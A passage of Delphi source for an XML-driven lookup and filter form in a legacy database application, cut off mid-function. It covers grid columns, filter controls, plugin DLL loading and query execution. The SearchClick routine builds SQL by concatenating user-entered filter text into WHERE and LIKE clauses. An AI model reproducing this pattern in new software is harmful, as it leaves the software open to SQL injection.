(** Функции по быбору данных из XML-справочников *)
function XMLChoose(p_Name: string; var pp_Id: integer): boolean; overload;
function XMLChoose(p_Name: string; p_Field: String; var pp_Id: integer; p_CE: TComboEdit): boolean; overload;
function XMLChoose(p_Name: string; var pp_Id: integer; var pp_Name: string): boolean; overload;
function XMLChoose(p_Name: string; var pp_Id,pp_Inst: integer; var pp_Name: string): boolean; overload;
function XMLChoose(p_Name: string; var pp_Id, pp_Inst: integer): boolean; overload;
function XMLChoose(p_Name: string; p_CE: TComboEdit): boolean; overload;
function XMLChoose(p_Name: string; var pp_Id: integer; p_CE: TComboEdit): boolean; overload;
function XMLChoose(p_Name: string; var pp_Id,pp_Inst: integer; p_CE: TComboEdit): boolean; overload;
function XMLChooseBill(
FromID, FromINST, ToID, ToINST: integer;
FromName, ToName: string;
sType: char;
DateBegin, DateEnd: TDate;
var pp_Id, pp_Inst: integer;
var pp_Name, pp_Date: string
): boolean; // загрузка рахунків
var
XMLForm : TXMLForm;
N: Integer = 0;
M: Integer = 0;
implementation
uses ChooseOrg, uExeSql, uStart, UDbFunc;
{------------------------------------------------------------------------------}
function GetAttrValue(ANode: Variant; AName: String): string;
var
Attr : Variant;
begin
Attr := ANode.GetAttribute(AName);
if not VarIsNull(Attr)
then Result := Attr
else Result := '';
end;
{------------------------------------------------------------------------------}
function GetXMLFormAsFilter(AFileName: String): TXMLForm; overload;
var
Form : TXmlForm;
FilterName : String;
begin
FilterName := AFileName;
Form := TXMLForm.Create( nil,AFileName );
with Form do
begin
FormStyle := fsNormal;
Parse(FilterName);
bbOk.Visible := true;
bbOk.Kind := bkOk;
bbOk.Caption := TranslateText('Выбрать');
DBGrid1.OnDblClick := OnGridDblClick;
end;
Result := Form;
end;
{------------------------------------------------------------------------------}
function GetXMLFormAsFilter(Sender: TObject): TXMLForm;
var
Form : TXmlForm;
FilterName : String;
I: integer;
begin
FilterName := (Sender as TCustomEdit).Name;
Form := TXMLForm.Create(XMLForm);
try
with Form do
begin
FormStyle := fsNormal;
Parse(FilterName);
bbOk.Visible := true;
bbOk.Caption := TranslateText('Выбрать');
bbOk.ModalResult := mrOk;
DBGrid1.OnDblClick := OnGridDblClick;
ShowModal;
if ModalResult = mrOk then
for I:=1 to Length(XMLForm.FFilters) do
if (XMLForm.FFilters[I].SrcFieldName <> '') and
(XMLForm.FFilters[I].FilterName = FilterName)
then
begin
{Заполнить текстом edit}
if XMLForm.FFilters[I].IsCaptionField then begin
(Sender as TCustomEdit).Text := FQuery[trim(XMLForm.FFilters[I].SrcFieldName)];
Continue;
end;
{Заполнить значениями массив фильтров}
XMLForm.FFilters[I].Value :=
FQuery.FieldByName(trim(XMLForm.FFilters[I].SrcFieldName)).Value;
end;
end;
Result := Form;
finally
Form.Free;
end;
end;
{------------------------------------------------------------------------------}
function ShowXMLForm(AFileName: string): TXMLForm;
begin
XMLForm := TXMLForm.Create( nil,AFileName );
try
XMLForm.Parse(AFileName);
XMLForm.FormStyle := fsMDIChild;
XMLForm.Show;
MainForm.DoMDIButton(XMLForm);
finally
Result := XMLForm;
end;
end;
{------------------------------------------------------------------------------}
function XMLChoose(p_Name: string; var pp_Id: integer): boolean;
var
Form : TXmlForm;
begin
Form :=GetXMLFormAsFilter(p_Name);
try
result:=Form.ShowModal = mrOk;
if result then
pp_Id:=Form.FQuery['ID'];
finally
FreeAndNil(Form);
end;
end;
{------------------------------------------------------------------------------}
function XMLChoose(p_Name: string; p_Field: String; var pp_Id: integer; p_CE: TComboEdit): boolean; overload;
var
Form : TXmlForm;
begin
Form :=GetXMLFormAsFilter(p_Name);
try
result:=Form.ShowModal = mrOk;
if result and not Form.FQuery.IsEmpty then begin
pp_Id:=Form.FQuery[p_Field];
p_CE.Text:=Form.FQuery['NAME'];
end;
finally
FreeAndNil(Form);
end;
end;
{------------------------------------------------------------------------------}
function XMLChoose(
p_Name: string;
var pp_Id: integer;
var pp_Name: string): boolean; overload;
var
Form : TXmlForm;
begin
Form :=GetXMLFormAsFilter(p_Name);
try
result:=Form.ShowModal = mrOk;
if result then begin
pp_Id:=Form.FQuery['ID'];
pp_Name:=Form.FQuery['NAME'];
end;
finally
FreeAndNil(Form);
end;
end;
{------------------------------------------------------------------------------}
function XMLChoose(
p_Name: string;
var pp_Id,pp_Inst: integer;
var pp_Name: string): boolean; overload;
var
Form : TXmlForm;
begin
Form :=GetXMLFormAsFilter(p_Name);
try
result:=Form.ShowModal = mrOk;
if result then begin
pp_Id:=Form.FQuery['ID'];
pp_Inst:=Form.FQuery['INST'];
pp_Name:=Form.FQuery['NAME'];
end;
finally
FreeAndNil(Form);
end;
end;
{------------------------------------------------------------------------------}
function XMLChoose(
p_Name: string;
var pp_Id, pp_Inst: integer): boolean; overload;
var
Form: TXmlForm;
begin
Form := GetXMLFormAsFilter(p_Name);
try
result := Form.ShowModal = mrOk;
if result then
begin
pp_Id := Form.FQuery['ID'];
pp_Inst := Form.FQuery['INST'];
end;
finally
FreeAndNil(Form);
end;
end;
{------------------------------------------------------------------------------}
function XMLChoose(
p_Name: string;
p_CE: TComboEdit): boolean; overload;
var
vId: integer;
vName: string;
begin
result:=XMLChoose(p_Name,vId,vName);
if result then begin
p_CE.Tag:=vId;
p_CE.Text:=vName;
end;
end;
{------------------------------------------------------------------------------}
function XMLChoose(p_Name: string; var pp_Id: integer; p_CE: TComboEdit): boolean; overload;
var
vName: string;
begin
result:=XMLChoose(p_Name,pp_Id,vName);
if result then
p_CE.Text:=vName;
end;
{------------------------------------------------------------------------------}
function XMLChoose(p_Name: string; var pp_Id,pp_Inst: integer; p_CE: TComboEdit): boolean; overload;
var
vName: string;
begin
result:=XMLChoose(p_Name,pp_Id,pp_Inst,vName);
if result then
p_CE.Text:=vName;
end;
{------------------------------------------------------------------------------}
function Up(AString: String): String;
begin
Result := AnsiUpperCase(AString);
end;
{------------------------------------------------------------------------------}
function IsNumber(AStr: String): boolean;
begin
try
StrToInt(AStr);
Result := true;
except
Result := false;
end;
end;
{------------------------------------------------------------------------------}
function GetParseError(Error: Variant): string;
begin
Result := TranslateText('Ошибка при загрузке документа ["') + Error.url + ' ]'#13#10
+ Error.reason + #13#10#13#10;
if (Error.line > 0) then
Result := Result + TranslateText('строка ') + Error.line + TranslateText(', символ ') + error.linepos + #13#10
+ Error.srcText;
end;
{------------------------------------------------------------------------------}
procedure TXMLForm.OnGridDblClick(Sender: TObject);
begin
bbOk.Click;
end;
{--------------------- ---------------------------------------------}
function TXMLForm.GetComponent(AName: String):Pointer;
var
I: integer;
begin
Result := nil;
for I := ComponentCount - 1 downto 0 do
if Components[I] is TComboEdit
then if Components[I].Name = AName
then Result := Pointer(Components[I]);
end;
{------------------------------------------------------------------------------}
procedure TXMLForm.ClearClick(Sender: TObject);
var
I: Integer;
begin
for I := ComponentCount - 1 downto 0 do
if Components[I] is TControl
then if TWinControl(Components[I]).Parent = Panel2
then if Components[I] is TSpeedButton
then FilterClearClick(TSpeedButton(Components[I]))
else if Components[I] is TCustomEdit
then if not (Components[I] is TDateEdit)
then TEdit(Components[I]).Text := '';
end;
{------------------------------------------------------------------------------}
procedure TXMLForm.SearchClick(Sender: TObject);
var
I: Integer;
Value : String;
begin
if Trim(Self.FQuery.SQL.Text) = '' then Exit;
{вернуть первоначальный вид sql}
Self.FQuery.SQL.Text := FQuery.BaseSQL;
for i:=0 to Self.FQuery.Params.Count-1 do
Self.FQuery.Params.Items[i].Value := Null;
{применить фильтры}
for I:=1 to length(FFilters) do
begin
if FFilters[I].Value <> '' then
begin
{Если фильтр числовой или дата передаем как есть, иначе в кавычки}
If not (FFilters[I].IsNumber) or (FFilters[I].IsDateField) then
Value := ''''+FFilters[I].Value+''''
else
Value := FFilters[I].Value;
{обработать Direction поля даты}
if FFilters[I].DestFieldName<>'' then
begin
if FFilters[I].IsDateField then
begin
if FFilters[I].Direction = dirFromDate then
FQuery.AddWhere(' trunc('+FFilters[I].DestFieldName+') >= '+Value)
else if FFilters[I].Direction = dirToDate then
FQuery.AddWhere(' trunc('+FFilters[I].DestFieldName+') <= '+Value)
else
FQuery.AddWhere(' trunc('+FFilters[I].DestFieldName+') = '+Value);
end
else if (FFilters[I].IsWholeValue) then
Self.FQuery.AddWhere(' '+FFilters[I].DestFieldName+' = '+Value)
else
Self.FQuery.AddWhere(' Upper('+FFilters[I].DestFieldName+')'+
' like ''%'+Up(FFilters[I].Value)+'%'' ');
end;
if Self.FQuery.Params.FindParam(FFilters[i].FilterName) <> nil then
Self.FQuery.Params.ParamByName(FFilters[i].FilterName).Value := FFilters[i].Value;
end;
end;
//Self.FQuery.Params.ParamByName('card_number').IsNull
if Self.FQuery.Active then
Self.FQuery.Close;
try
Screen.Cursor := crSQLWait;
try
Self.FQuery.Prepare;
Self.FQuery.Open;
finally
Screen.Cursor := crDefault;
end;
except on E: Exception do
begin
if Main.Debugging then
ShowTextInMemo(FQuery.Sql.Text);
MessageDlg(E.Message,mtError,[mbOk],0);
end;
end;
end;
{------------------------------------------------------------------------------}
procedure TXMLForm.SetFormParams();
begin
FRxSpeedButton := TRxSpeedButton.Create(Self);
FRxSpeedButton.Parent := Panel1;
MainForm.il.GetBitmap(9,FrxSpeedButton.Glyph);
FRxSpeedButton.Left := bbSearch.Left + bbSearch.Width + 10;
FRxSpeedButton.Top := bbSearch.Top + 2;
FRxSpeedButton.Width := 62;
FRxSpeedButton.DropDownMenu := PUM;
Self.OnCloseQuery := OnXMLFormCloseQuery;
bbSearch.OnClick := SearchClick;
bbClear.OnClick := ClearClick;
FColumns := DBGrid1.Columns;
FColumns.Clear;
FColumnsDetail := DBGridDetail.Columns;
FColumnsDetail.Clear;
FFiltersCount := 0;
FPrintsCount := 0;
DBGrid1.AutoFitColWidths := false;
Panel2.AutoSize := true;
// q.Name:='qOld';
// FQuery := TOilQuery.Create(Self);
FQuery := q;
FQuery.Name :='q';
ds.DataSet := FQuery;
FQueryDetail := qDetail;
FQueryDetail.Name :='qDetail';
dsDetail.DataSet := FQueryDetail;
Self.Panel1.OnDblClick := ShowSQLText;
end;
{------------------------------------------------------------------------------}
procedure TXMLForm.FilterOnEditChange(Sender: TObject);
var
I, J: integer;
begin
{Заполнить массив фильтров значениями}
for i:= 1 to length(FFilters) do
begin
if FFilters[i].FilterName = (Sender as TControl).Name then
begin
if Sender.ClassName = 'TComboBox' then
FFilters[i].Value := (Sender as TComboBox).Text
else
begin
FFilters[i].Value := (Sender as TCustomEdit).Text;
{Подсвечивать красным только колонки с левым выравниванием}
for J:=0 to DBGrid1.Columns.Count-1 do
begin
Self.RedColorFieldName := FFilters[i].DestFieldName;
Self.RedColorFilter := (Sender as TCustomEdit);
end;
end;
end;
end;
SearchClick(nil);
end;
{------------------------------------------------------------------------------}
procedure TXMLForm.ProcessColumns(ANode: Variant);
function GetAlignment(ANode: Variant):TAlignment;
begin
if GetAttrValue(ANode,XALIGN) = XRIGHT
then Result := taRightJustify else
if GetAttrValue(ANode,XALIGN)= XCENTER
then Result := taCenter
else Result := taLeftJustify
end;
var
I: Integer;
begin
{создать колонку в гриде}
if ANode.NodeName = XCOLUMN then
begin
FColumn := TDBGridColumnEh.Create(FColumns);
{выставить align из аттрибута}
FColumn.Alignment := GetAlignment(ANode);
if GetAttrValue(ANode,XWIDTH) <>''
then FColumn.Width := StrToInt(GetAttrValue(ANode,XWIDTH));
end;
if Assigned(FColumn) then
begin
{CAPTION}
if ANode.NodeName = XCAPTION then
begin
FColumn.Title.Caption := ANode.Text;
{выставить align из аттрибута}
FColumn.Title.Alignment := GetAlignment(ANode);
end else
{FIELDNAME}
if ANode.NodeName = XFIELDNAME then
FColumn.FieldName := ANode.Text else
if ANode.NodeName = XTOTAL then
begin
ProcessColumnTotal(ANode);
exit;
end;
end;
{Прогнать до конца ветки}
for I:=0 to ANode.ChildNodes.length-1 do
ProcessColumns(ANode.ChildNodes.Item[I]);
end;
{------------------------------------------------------------------------------}
procedure TXMLForm.ProcessColumnTotal(ANode: Variant);
var
i:integer;
begin
if ANode.NodeName = XTOTAL then
begin
if GetAttrValue(ANode,XVALUETYPE) = 'sum' then
FColumn.Footer.ValueType := fvtSum
else if GetAttrValue(ANode,XVALUETYPE) = 'avg' then
FColumn.Footer.ValueType := fvtAvg
else if GetAttrValue(ANode,XVALUETYPE) = 'count' then
FColumn.Footer.ValueType := fvtCount
else if GetAttrValue(ANode,XVALUETYPE) = 'statictext' then
FColumn.Footer.ValueType := fvtStaticText;
end
else if ANode.NodeName = XFIELDNAME then
FColumn.Footer.FieldName := ANode.Text
else if ANode.NodeName = XVALUE then
FColumn.Footer.Value := ANode.Text;
for I:=0 to ANode.ChildNodes.length-1 do
ProcessColumnTotal(ANode.ChildNodes.Item[I]);
end;
{------------------------------------------------------------------------------}
procedure TXMLForm.ProcessColumnsDetail(ANode: Variant);
function GetAlignment(ANode: Variant):TAlignment;
begin
if GetAttrValue(ANode,XALIGN) = XRIGHT
then Result := taRightJustify else
if GetAttrValue(ANode,XALIGN)= XCENTER
then Result := taCenter
else Result := taLeftJustify
end;
var
I: Integer;
begin
{создать колонку в гриде}
if ANode.NodeName = XCOLUMN then
begin
FColumnDetail := TDBGridColumnEh.Create(FColumnsDetail);
{FColumnDetail align из аттрибута}
FColumnDetail.Alignment := GetAlignment(ANode);
if GetAttrValue(ANode,XWIDTH) <>''
then FColumnDetail.Width := StrToInt(GetAttrValue(ANode,XWIDTH));
end;
if Assigned(FColumnDetail) then
begin
{CAPTION}
if ANode.NodeName = XCAPTION then
begin
FColumnDetail.Title.Caption := ANode.Text;
{выставить align из аттрибута}
FColumnDetail.Title.Alignment := GetAlignment(ANode);
end else
{FIELDNAME}
if ANode.NodeName = XFIELDNAME then
FColumnDetail.FieldName := ANode.Text;
end;
{Прогнать до конца ветки}
for I:=0 to ANode.ChildNodes.length-1 do
ProcessColumnsDetail(ANode.ChildNodes.Item[I]);
end;
{------------------------------------------------------------------------------}
procedure TXMLForm.FilterOnComboClick(Sender: TObject);
begin
GetXMLFormAsFilter(Sender);
end;
{------------------------------------------------------------------------------}
procedure TXMLForm.FilterOnComboClickOrg(Sender: TObject);
var
I: Integer;
Query : TOilQuery;
Succ : Boolean;
begin
Succ := false;
for I:=1 to Length(XMLForm.FFilters) do
if (XMLForm.FFilters[I].FilterName = (Sender as TCustomEdit).Name)
then
begin
Succ := ChooseOrg.CaptureOrgQ(XMLForm.FFilters[I].OrgType, MAIN_ID, INST, XMLForm.FFilters[I].EnableFlags, Query);
break;
end;
if not Succ then exit;
for I:=1 to Length(XMLForm.FFilters) do
if (XMLForm.FFilters[I].SrcFieldName <> '') and
(XMLForm.FFilters[I].FilterName = (Sender as TCustomEdit).Name)
then
begin
{Заполнить текстом edit}
if XMLForm.FFilters[I].IsCaptionField then begin
(Sender as TCustomEdit).Text := Query[trim(XMLForm.FFilters[I].SrcFieldName)];
Continue;
end;
{Заполнить значениями массив фильтров}
XMLForm.FFilters[I].Value :=
Query.FieldByName(trim(XMLForm.FFilters[I].SrcFieldName)).Value;
end;
FreeAndNil(Query);
end;
{------------------------------------------------------------------------------}
procedure TXMLForm.FilterClearClick(Sender: TObject);
var
I: Integer;
S: String;
begin
S := copy((Sender as TSpeedButton).Name,3,length((Sender as TSpeedButton).Name));
For I:=1 to length(FFilters) do
if FFilters[I].FilterName = S
then FFilters[I].Value := '';
TCustomEdit(GetComponent(S)).Text := '';
//TCustomEdit(Sender as TSpeedButton).Text := '';
end;
{------------------------------------------------------------------------------}
procedure TXMLForm.DateEditAcceptDate(Sender: TObject;
var ADate: TDateTime; var Action: Boolean);
var
i: Integer;
begin
for i:= 1 to length(FFilters) do
if FFilters[i].FilterName = (Sender as TCustomEdit).Name
then FFilters[i].Value := DateToStr(ADate);
end;
{------------------------------------------------------------------------------}
procedure TXMLForm.ProcessWinControl(ANode : Variant);
begin
{Счетчик фильтров}
Inc(FFiltersCount);
{LIST}
if ANode.NodeName = XLIST then
begin
FEdit := TComboBox.Create(Self);
TComboBox(FEdit).OnChange := FilterOnEditChange;
end;
{EDIT}
if ANode.NodeName = XEDIT then
begin
{Будет простой Eidt или CalcEdit}
FFilters[FFiltersCount].IsNumber := GetAttrValue(ANode,XONLYNUMBERS) ='true';
if FFilters[FFiltersCount].IsNumber then
{CalcEdit}
begin
FEdit := TRxCalcEdit.Create(Self);
with TRxCalcEdit(FEdit) do
begin
ZeroEmpty := true;
Parent := Self.Panel2;
ButtonWidth := 0;
end;
end
else
FEdit := TEdit.Create(Self);
TEdit(FEdit).OnChange := FilterOnEditChange;
end;
{DATEEDIT}
if ANode.NodeName = XDATEEDIT then
begin
FEdit := TDateEdit.Create(Self);
TDateEdit(FEdit).OnAcceptDate := DateEditAcceptDate;
TDateEdit(FEdit).Date := now;
{set date filter direction}
FFilters[FFiltersCount].IsDateField := true;
if GetAttrValue(ANode,XDIRECTION) = XFROMDATE then
FFilters[FFiltersCount].Direction := dirFromDate
else if GetAttrValue(ANode,XDIRECTION) = XTODATE then
FFilters[FFiltersCount].Direction := dirToDate
else
FFilters[FFiltersCount].Direction := dirNone;
end;
{XMLFORM}
if ANode.NodeName = XXMLFORM then
begin
FEdit := TComboEdit.Create(Self);
with TComboEdit(FEdit) do
begin
DirectInput := False;
MainForm.il.GetBitmap(7,Glyph);
Parent := Self.Panel2;
ButtonWidth := 16;
FFilters[FFiltersCount].EnableFlags := GetAttrValue(ANode,XENABLEFLAGS);
if GetAttrValue(ANode,XORGTYPE) <> ''
then FFilters[FFiltersCount].OrgType := StrToInt(GetAttrValue(ANode,XORGTYPE));
if GetAttrValue(ANode,XORGREF) ='true'
then OnButtonClick := FilterOnComboClickOrg
else OnButtonClick := FilterOnComboClick;
OnDblClick := OnButtonClick;
end;
{Кнопка очистки фильтра}
FClearButton := TSpeedButton.Create(Self);
with FClearButton do
begin
MainForm.il.GetBitmap(8,Glyph);
Parent := Self.Panel2;
Flat := true;
OnClick := FilterClearClick;
Name := 'spbUnnamed';
end;
end;
{Eсли ничего не создано - нах}
if FEdit = nil then Exit;
TCustomEdit(FEdit).Parent := Self.Panel2;
{Название фильтра}
FLabel := TLabel.Create(Self);
FLabel.Parent := Self.Panel2;
{Скрытый лейбл}
FHiddenLabel := TLabel.Create(Self);
FHiddenLabel.Parent := Self.Panel2;
{width}
if GetAttrValue(ANode,XWIDTH) <>'' then
begin
TCustomEdit(FEdit).Width := StrToInt(GetAttrValue(ANode,XWIDTH));
TCustomEdit(FLabel).Width := TCustomEdit(FEdit).Width;
end;
{top}
if GetAttrValue(ANode,XTOP) <>'' then
begin
FLabel.Top := StrToInt(GetAttrValue(ANode,XTOP));
TCustomEdit(FEdit).Top := FLabel.Top+FLabel.Height-3;
end;
{left}
if GetAttrValue(ANode,XLEFT) <>'' then
begin
FLabel.Left := StrToInt(GetAttrValue(ANode,XLEFT));
TCustomEdit(FEdit).Left := FLabel.Left ;
end;
{Скрытый элемент не дает налазить AutoSize панели на нижний бордюр фильтра}
FHiddenLabel.Top := TCustomEdit(FEdit).Top + TCustomEdit(FEdit).Height div 2;
FHiddenLabel.Left := TCustomEdit(FEdit).Left;
FHiddenLabel.Width := 0;
{как фильтровать}
FFilters[FFiltersCount].IsWholeValue := GetAttrValue(ANode,XWHOLEVALUE) ='true';
FLastWholeValue := FFilters[FFiltersCount].IsWholeValue;
{Кнопка очистки фильтра}
if ANode.NodeName = XXMLFORM then
if Assigned(FClearButton) then
begin
FClearButton.Top := TCustomEdit(FEdit).Top;
FClearButton.Left := TCustomEdit(FEdit).Left+TCustomEdit(FEdit).Width;
FClearButton.Width := TCustomEdit(FEdit).Height;
FClearButton.Height := FClearButton.Width
end;
end;
{------------------------------------------------------------------------------}
procedure TXMLForm.ProcessFilters(ANode: Variant);
var
I: Integer;
s: string;
TmpDate : TDateTime;
TmpAction : Boolean;
begin
{Если тэги фильтров - создать их}
if (ANode.NodeName = XEDIT) or
(ANode.NodeName = XXMLFORM) or
(ANode.NodeName = XDATEEDIT) or
(ANode.NodeName = XLIST)
then
ProcessWinControl(ANode);
if FEdit <> nil then
begin
{NAME}
if ANode.NodeName = XNAME then
begin
TCustomEdit(FEdit).Name := ANode.Text;
FFilters[FFiltersCount].FilterName := ANode.Text;
{Установить текст по-умолчанию}
if TCustomEdit(FEdit).ClassName = 'TDateEdit' then
begin
TmpDate := now;
TDateEdit(FEdit).OnAcceptDate(TDateEdit(FEdit),TmpDate,TmpAction);
end
else TCustomEdit(FEdit).Text := '';
if Assigned(FClearButton)
then if FClearButton.Name = 'spbUnnamed'
then FClearButton.Name := 'S_'+ANode.Text;
end;
{CAPTION}
if ANode.NodeName = XCAPTION then
FLabel.Caption := ANode.Text;
{FIELDNAME}
if ANode.NodeName = XFIELDNAME then
FFilters[FFiltersCount].DestFieldName := Up(ANode.Text);
{LINK}
if ANode.NodeName = XLINK then
if FFilters[FFiltersCount].SrcFieldName <> ''
then inc(FFiltersCount);
{SRC, DEST}
if ANode.NodeName = XSRC then
FFilters[FFiltersCount].SrcFieldName := ANode.Text;
if ANode.NodeName = XDEST then begin
FFilters[FFiltersCount].DestFieldName := ANode.Text;
FFilters[FFiltersCount].FilterName := TCustomEdit(FEdit).Name;
FFilters[FFiltersCount].IsWholeValue := FLastWholeValue;
end;
{TEXTFIELD}
if ANode.NodeName = XTEXTFIELD then begin
inc(FFiltersCount);
FFilters[FFiltersCount].SrcFieldName := ANode.Text;
FFilters[FFiltersCount].IsCaptionField := true;
FFilters[FFiltersCount].FilterName := TCustomEdit(FEdit).Name;
end;
{DEFAULT}
if ANode.NodeName = XDEFAULT then begin
if TCustomEdit(FEdit).ClassName = 'TDateEdit' then
begin
s:=UpperCase(ANode.Text);
if s='NOW' then TmpDate:=Date
else if s='MONTH_BEGIN' then TmpDate:=GetMonthBegin(Date)
else if s='MONTH_AGO' then TmpDate:=Date-30
else if s='LONG_AGO' then TmpDate:=StrToDate('01.01.1990');
TDateEdit(FEdit).Date:=TmpDate;
TDateEdit(FEdit).OnAcceptDate(TDateEdit(FEdit),TmpDate,TmpAction);
end
else TCustomEdit(FEdit).Text := ANode.Text;
end;
{ITEM}
if ANode.NodeName = XITEM then
begin
if TCustomEdit(FEdit).ClassName = 'TComboBox' then
TComboBox(FEdit).Items.Add(DevideRusUkr(ANode.Text));
end;
end;
{Прогнать до конца ветки}
for I:=0 to ANode.ChildNodes.length-1 do
ProcessFilters(ANode.ChildNodes.Item[I]);
end;
{------------------------------------------------------------------------------}
procedure TXMLForm.Parse(AFileName: string);
var
I: integer;
s: string;
CurrNode: Variant;
begin
FXMLDoc := CreateOleObject('Microsoft.XMLDOM.1.0');
FXMLDoc.Load(GetMainDir+FORMS_FOLDER+'\'+AFileName+'.xml');
FXMLDoc.PreserveWhiteSpace := true;
FXMLDoc.Async := false;
if FXMLDoc.parseError.ErrorCode <> 0 then
begin
ShowMessage( GetParseError(FXMLDoc.parseError) );
Exit;
end;
SetFormParams();
FRootNode := FXMLDoc.DocumentElement;
if GetAttrValue(FRootNode,XDIALOGFORM) = 'true' then
begin
//DO NOTHING
end;
{Панель фильтров}
Self.Panel2.Visible := GetAttrValue(FRootNode,XFILTERS) = 'true';
{Кнопки редактирования}
FEditButtons := GetAttrValue(FRootNode,XEDITBUTTONS) = 'true';
pAdd.Visible := FEditButtons;
pEdit.Visible := FEditButtons;
pDel.Visible := FEditButtons;
if 0 <> GetSqlValueParSimple(
'select count(*) from adm_object where upper(name) = upper(:name) and type = ''F'' ',
['name', NormalizeFormName]) then
begin
ADMQ.Close;
_OpenQueryPar(ADMQ, ['emp_id', EMp_id, 'object_name', NormalizeFormName]);
pAdd.Visible := IsHaveRight(1);
pEdit.Visible := IsHaveRight(2);
pDel.Visible := IsHaveRight(3);
end;
{EditClass}
s:=GetAttrValue(FRootNode,XEDITCLASS);
if s<>'' then ProcessEditClass(s);
{Ширина формы}
if GetAttrValue(FRootNode,XWIDTH) <> ''
then Width := StrToInt(GetAttrValue(FRootNode,XWIDTH))
else Width := FOldWidth;
{Высота формы}
if GetAttrValue(FRootNode,XHEIGHT) <> ''
then Height := StrToInt(GetAttrValue(FRootNode,XHEIGHT))
else Height := FOldHeight;
{VERSION}
FVersion := GetAttrValue(FRootNode,XVERSION);
{CAPTION}
FCaption := GetAttrValue(FRootNode,XCAPTION);
{Разбор элементов}
for I:=0 to FRootNode.ChildNodes.length-1 do
begin
CurrNode := FRootNode.ChildNodes.Item[i];
{SQL}
if CurrNode.NodeName = XSQL then
begin
FQuery.SQL.Text := trim(FRootNode.ChildNodes.Item[i].Text);
LoadExeSQL(FQuery.SQL);
end
else
{SQLDetail}
if CurrNode.NodeName = XSQLDETAIL then
begin
FQueryDetail.SQL.Text := trim(FRootNode.ChildNodes.Item[i].Text);
LoadExeSQL(FQueryDetail.SQL);
end
else
{Columns}
if CurrNode.NodeName = XCOLUMNS then
begin
ProcessColumns(CurrNode);
//загрузка грида
LoadGrigColumns( DBGrid1,Name );
end
else
{ColumnsDetail}
if CurrNode.NodeName = XCOLUMNSDETAIL then
ProcessColumnsDetail(CurrNode)
else
{Filters}
if CurrNode.NodeName = XFILTERS then
ProcessFilters(CurrNode) else
{EditForm}
if CurrNode.NodeName = XEDITFORM then
ProcessEditForm(CurrNode) else
{EditClass}
if CurrNode.NodeName = XEDITCLASS then
ProcessEditClass(CurrNode);
if (CurrNode.NodeName = XEDITBUTTONS) and FEditButtons then
ProcessEditButtons(CurrNode);
end;
sbDel.OnClick:=DeleteRecord2;
Self.bbSearch.Click;
if FVersion<>'' then
Self.Caption:= FCaption+', версия '+FVersion
else
Self.Caption := FCaption;
Panel2.AutoSize := False;
Panel2.AutoSize := True;
end;
{------------------------------------------------------------------------------}
procedure TXMLForm.ShowSQLText(SEnder: TObject);
begin
if Main.Debugging then ShowTextInMemo(FQuery.Sql.Text);
end;
{------------------------------------------------------------------------------}
constructor TXMLForm.Create(AOwner: TComponent; AName: String);
begin
inherited Create(AOwner);
Name:=AName;
FOldWidth := Width;
FOldHeight := Height;
Width := 0;
Height := 0;
Position := poDefaultPosOnly;
end;
{------------------------------------------------------------------------------}
procedure TXMLForm.ProcessEditForm(ANode: Variant);
var
I: Integer;
begin
if ANode.NodeName = XDLLNAME then
begin
hDll := Loadlibrary(PAnsiChar(String(ANode.Text)));
if hDll = 0 then raise Exception.Create(TranslateText('Не могу загрузить плагин'));
@InitPlugin := GetProcAddress(hDll,'InitPlugin');
@AddRecord := GetProcAddress(hDll,'AddRecord');
@EditRecord := GetProcAddress(hDll,'EditRecord');
@DeleteRecord := GetProcAddress(hDll,'DeleteRecord');
@DonePlugin := GetProcAddress(hDll,'DonePlugin');
if Assigned(InitPlugin)
then InitPlugin(Integer(Application),Integer(Screen), Integer(frmStart.OraSession1), Integer(FQuery));
if Assigned(AddRecord)
then sbAdd.OnClick := AddRecFromPlugin;
if Assigned(EditRecord)
then sbEdit.OnClick := EditRecFromPlugin;
if Assigned(DeleteRecord)
then sbDel.OnClick := DelRecFromPlugin;
end;
if ANode.NodeName = XKEYFIELD then
begin
end;
{Прогнать до конца ветки}
for I:=0 to ANode.ChildNodes.length-1 do
ProcessEditForm(ANode.ChildNodes.Item[I]);
end;
{------------------------------------------------------------------------------}
procedure TXMLForm.ProcessEditButtons(ANode: Variant);
var
I:integer;
begin
Self.pAdd.Visible := false;
Self.pEdit.Visible := false;
Self.pDel.Visible := false;
Self.pTotal.Visible := false;
Self.pShowDetail.Visible := false;
Self.pSpeedUp.Visible := false;
for I:=0 to ANode.ChildNodes.length-1 do
begin
if ANode.ChildNodes.Item[I].NodeName=XADDBUTTON then
Self.pAdd.Visible := true;
if ANode.ChildNodes.Item[I].NodeName=XEDITBUTTON then
Self.pEdit.Visible := true;
if ANode.ChildNodes.Item[I].NodeName=XDELETEBUTTON then
Self.pDel.Visible := true;
if ANode.ChildNodes.Item[I].NodeName=XSHOWTOTALBUTTON then
begin
Self.pTotal.Visible := true;
Self.DBGrid1.SumList.Active := true;
end;
if ANode.ChildNodes.Item[I].NodeName=XSHOWDETAILCHECKBOX then
Self.pShowDetail.Visible := true;
if ANode.ChildNodes.Item[I].NodeName=XSQLFASTERBUTTON then
Self.pSpeedUp.Visible := true;
end;
end;
{------------------------------------------------------------------------------}
procedure TXMLForm.AddRecFromPlugin(Sender: TObject);
begin
AddRecord();
end;
{------------------------------------------------------------------------------}
procedure TXMLForm.EditRecFromPlugin(Sender: TObject);
begin
EditRecord{(0,0)};
end;
{------------------------------------------------------------------------------}
procedure TXMLForm.DelRecFromPlugin(Sender: TObject);
begin
DeleteRecord{(0,0)};
end;
{------------------------------------------------------------------------------}
procedure TXMLForm.OnXMLFormCloseQuery(Sender: TObject; var CanClose: Boolean);
begin
if Assigned(DonePlugin)
then if DonePlugin then FreeLibrary(hDll);
end;
{------------------------------------------------------------------------------}
procedure TXMLForm.DataSourceDataChange(Sender: TObject; Field: TField);
var
I,J:integer;
Cond:boolean;
begin
for I:=low(FPrints) to FPrintsCount do
if (FPrints[I].ConditionVisible.FieldName<>'') then
if q.Fields.FindField(FPrints[I].ConditionVisible.FieldName)<>nil then
begin
Cond:=q[FPrints[I].ConditionVisible.FieldName]=FPrints[I].ConditionVisible.Value;
for J:=0 to self.PUM.Items.Count-1 do
if(self.PUM.Items[J].Name=FPrints[I].MenuName)then
self.PUM.Items[J].Visible:=Cond;
end;
end;
{------------------------------------------------------------------------------}
procedure TXMLForm.ProcessEditClass(ANode: Variant);
var
ClassName,FilterName: string;
CurrNode,PrintNode,CondVisNode:Variant;
I,J,K:integer;
Print:TPrintField;
mi:TMenuItem;
begin
ClassName:=GetAttrValue(ANode,XCLASSNAME);
FilterName:=GetAttrValue(ANode,XRESULTFILTER);
FEditClass:=GetEditClassByName(ClassName);
